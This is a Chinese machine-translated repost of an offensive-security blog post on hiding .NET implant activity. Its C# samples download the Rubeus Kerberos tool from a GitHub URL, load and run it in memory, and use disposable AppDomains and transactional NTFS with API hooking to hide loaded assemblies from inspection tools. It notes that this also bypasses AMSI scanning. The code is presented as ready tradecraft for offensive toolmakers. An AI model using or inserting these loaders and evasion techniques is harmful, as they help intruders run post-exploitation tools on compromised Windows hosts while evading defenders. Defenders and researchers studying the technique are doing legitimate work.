Assembly优化 | .NET 反射和一次性 AppDomains
2021-08-23 19:31:00 Author: mp.weixin.qq.com(查看原文) 阅读量:70 收藏

开卷有益 · 不求甚解


前言

免责声明: 我没有想出这篇文章中描述的任何方法或技术。我只是将其他人的作品整理到一起——比如 Sharknado 和 Final Fantasy VIII 的 Gunblade等。

这篇文章的前提是更好地隐藏 .NET Framework 植入中的反射和 Assembly.Load() 技巧。让我们首先了解反射及其有用的原因。

举个🌰

考虑以下示例:

public static void Main(string[] args)
{
    const string url = "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.5_Any/Rubeus.exe";

    byte[] payload;

    using (var client = new WebClient())
    {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        payload = client.DownloadData(url);
    }

    var asm = Assembly.Load(payload);
    asm.EntryPoint.Invoke(nullnew object[] { new[] { "klist" } });
}

这是一个非常简单的应用程序,它将通过网络下载另一个 .NET 程序集,将其加载到内存中并执行它。正如您通常期望的那样,输出将打印到主应用程序的控制台。

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0xfd4fa

在编写针对 .NET 的攻击性工具时,这有很多优势。初始工具可以非常轻量级,并且能够获取/执行任何进一步的后开发代码。Covenant在其植入物中处理 post-ex 命令的方式大致相同。“任务”被编译成微小的 .NET 程序集,通过 C2 通道推送,使用反射加载,执行并返回结果。

那么有什么缺点呢?

Process Hacker等工具可以显示在运行 CLR 的进程中加载的 .NET 程序集。从我们上面的演示代码来看,这是加载 Rubeus 后的样子。一方面,我们可以看到程序集的名称;另一方面,没有路径表明它是从内存中加载的。

img

此外,这些记录会在正在运行的应用程序的整个生命周期中持续存在。加载的越多,这里的条目就越多。Covenant 使用随机名称编译它的任务——在几个命令之后,这个过程看起来像这样:

img

应用域

我想要实现的最重要的事情是在加载程序集后对其进行处理,这是您已经可以使用AppDomain类完成的事情。这个类有两个方法叫做CreateDomain和Unload。这将允许我们创建一个新的 AppDomain,在其中加载和执行程序集,然后处理它。

注意: 尽管 AppDomain 类存在于 .NET Core 和 .NET 5+ 中,但不支持上述这些方法,未来不打算这样做。使此技巧仅与 .NET Framework 相关。

你可能认为你可以这样做:

public static void Main(string[] args)
{
    const string url = "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.5_Any/Rubeus.exe";

    byte[] payload;

    using (var client = new WebClient())
    {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        payload = client.DownloadData(url);
    }

    var appDomain = AppDomain.CreateDomain("Demo Domain");
    var asm = appDomain.Load(payload);
    asm.EntryPoint.Invoke(nullnew object[] { new[] { "klist" } });
            
    AppDomain.Unload(appDomain);
}

但不,没有什么是那么简单的。即使我们使用 byte[] 重载,这也会引发FileNotFoundException

我在这里找到了一个很好的解释,它提供了两种解决方案。一种是创建一个主应用程序和正在加载的应用程序都知道的界面——在我们的用例中显然不可行。另一种是使用CreateInstanceAndUnwrap。b33f 的 Melkor项目中也使用了这种方法。

我们所需要的只是一个继承自MarshalByRefObject的新类和一个加载和执行程序集的方法。

public class ShadowRunner : MarshalByRefObject
{
    public void LoadAssembly(byte[] assembly, string[] args)
    {
        var asm = Assembly.Load(assembly);
        asm.EntryPoint.Invoke(nullnew object[] { args });
    }
}

无法在此 AppDomain 之外返回程序集对象,因此执行应留在 ShadowRunner 内。然后我们将创建 AppDomain 并像这样执行程序集:

var appDomain = AppDomain.CreateDomain("Demo AppDomain");

var runner = (ShadowRunner)appDomain.CreateInstanceAndUnwrap(typeof(ShadowRunner).Assembly.FullName, typeof(ShadowRunner).FullName);
runner.LoadAssembly(payload, new[] { "klist" });

AppDomain.Unload(appDomain);

如果我们调试它并在卸载 AppDomain 之前放置一个断点,我们将看到在 Process Hacker 中加载了 Rubeus。

img

之后,AppDomain 消失了,也没有提及 Rubeus。

Assembly路径

即使这是在不同的 AppDomain 中加载的,它仍然没有路径,因为它是从内存加载的。显然,我们实际上并不想将程序集放到磁盘以加载它们,但是有一种方法可以让 CLR 认为它正在从磁盘加载,即使它不是。

这篇博文由 Dave Cossa aka G0ldenGunSec 撰写。它描述了如何使用事务性 NTFS 和 API 挂钩将假数据发送回**Assembly.Load(string assemblyName)**重载。

所有的魔法都在他的SharpTransactedLoad 仓库中实现。

这样做的另一个好处是 AMSI 仅在使用**Assembly.Load(byte[] assemblyBytes)**重载时扫描内容,因此这也可以作为 AMSI 绕过,而无需内存修补绕过或类似方法。

我改变的一件事是使主TransactedAssembly类非静态并让它继承IDisposable

然后我可以这样称呼它:

using (var loader = new TransactedAssembly())
{
    loader.Load(payload, new[] { "klist" });
}

这提供了一种很好的方法来创建和处理不再需要的 AppDomain 和 API Hook 等。我还用CCob 的 MinHook.NET项目替换了 EasyHook 。

现在在调试器中,我们看到 Rubeus 程序集似乎已从应用程序的当前工作目录加载。

img

返回数据

我确实说过您不能从 ShadowRunner 返回 Assembly 对象,但您可以返回可能从程序集输出的其他数据。另一个例子:

namespace ClassLibrary1
{
    public class Class1
    {
        public string Method1()
        {
            return "Hello from assembly";
        }
    }
}

重构 ShadowRunner 以调用指定的类型和方法,并返回一个字符串。

public string LoadAssembly(string assembly, string typeName, string methodName)
{
    var asm = Assembly.Load(assembly);

    var type = asm.GetType(typeName);
    var method = type.GetMethod(methodName);
    var instance = Activator.CreateInstance(type,
        BindingFlags.Instance | BindingFlags.Public,
        null,
        null,
        null);

    var result = (string) method?.Invoke(instance, null);
    return result;
}

我们可以将这些数据从 TransactedAssembly 类一直带回到我们的主应用程序中并打印出来。

using (var loader = new TransactedAssembly())
{
    var result = loader.Load(payload, "ClassLibrary1.Class1""Method1");
    Console.WriteLine(result);
}
PS C:\> .\MainApp.exe
Hello from assembly

结论

对于所有进攻性的.NET工具制造者来说--我希望这个概述能够为在你的项目中利用反射提供一种替代方法。

译文申明

  • 文章来源为近期阅读文章,质量尚可的,大部分较新,但也可能有老文章。
  • 开卷有益,不求甚解,不需面面俱到,能学到一个小技巧就赚了。
  • 译文仅供参考,具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
  • 如英文不错的,尽量阅读原文。(点击原文跳转)
  • 每日早读基本自动化发布,这是一项测试

最新动态 Follow Me

微信/微博:red4blue

公众号/知乎:blueteams



文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247484554&idx=1&sn=f99d314077da426dfde57aec8f385059&chksm=fb35ad42cc422454e359d46997a9be17d6e057dfdb9afcc860fe6e172557dce097cdcf50fa8c#rd
如有侵权请联系:admin#unsafe.sh